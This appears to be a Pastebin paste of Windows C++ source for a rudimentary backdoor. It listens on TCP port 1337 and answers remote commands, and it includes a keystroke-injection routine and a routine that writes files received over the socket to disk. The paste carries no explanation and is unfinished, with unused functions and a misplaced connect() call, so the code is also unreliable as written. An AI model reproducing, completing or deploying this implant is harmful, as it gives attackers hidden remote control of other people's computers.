Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define WIN32_LEAN_AND_MEAN
- #include <windows.h>
- #include <winsock2.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <iostream>
- #pragma comment(lib, "ws2_32.lib")
- using namespace std;
- void TypeStr(char *lpszString)
- {
- char cChar;
- while((cChar = *lpszString++)){
- short vk = VkKeyScan(cChar);
- if((vk >> 8) & 1) keybd_event(VK_LSHIFT, 0, 0, 0);
- keybd_event((unsigned char)vk, 0, 0, 0);
- keybd_event((unsigned char)vk, 0, KEYEVENTF_KEYUP, 0);
- if((vk >> 8) & 1) keybd_event(VK_LSHIFT, 0, KEYEVENTF_KEYUP, 0);
- }
- }
- void retrieve_file(int sock)
- {
- int i, j;
- HANDLE hFile=NULL;
- char path[MAX_PATH]="C:\\MADTEMP.MAD", buf[1024];
- char buf2[MAX_PATH];
- DWORD dw;
- srand(GetTickCount());
- char random[MAX_PATH];
- int e,d;
- d = 3 + (rand() % 10);
- for (e=0; e<d; e++)
- random[e] = 'a' + (rand() % 26);
- char fslash[260]="//";
- hFile = CreateFile(path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS,
- FILE_ATTRIBUTE_NORMAL, NULL);
- if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
- hFile = NULL;
- goto drop;
- }
- for (i=0;;) {
- j = recv(sock, buf, sizeof(buf), 0);
- if (j <= 0) break;
- i += j;
- WriteFile(hFile, buf, j, &dw, 0);
- }
- CloseHandle(hFile);
- closesocket(sock);
- return;
- drop: closesocket(sock);
- if (hFile != NULL)
- return;
- }
- int main(){
- char buf[MAX_PATH]=":MCOM:";
- char buf2[MAX_PATH]=" ";
- char check1[MAX_PATH]="k";
- char rep1[MAX_PATH]="MMCOM: REC=1";
- int a;
- a = atoi(check1);
- WSADATA wsaData;
- WSAStartup(MAKEWORD(1, 1), &wsaData);
- SOCKET hServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- SOCKADDR_IN sai;
- sai.sin_family = AF_INET;
- sai.sin_addr.s_addr = INADDR_ANY;
- sai.sin_port = htons(1337);
- bind(hServer,(LPSOCKADDR)&sai,sizeof(struct sockaddr));
- listen(hServer,10);
- SOCKET hClient = accept(hServer,NULL,NULL);
- connect(hServer,NULL,0);
- send(hClient,buf,strlen(buf),0);
- while(1==1){
- start:
- Sleep(1);
- recv(hClient,buf2,sizeof(buf2),0);
- int n;
- n = atoi(buf2);
- if(n==1){
- send(hClient,rep1,strlen(rep1),0);
- goto start;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement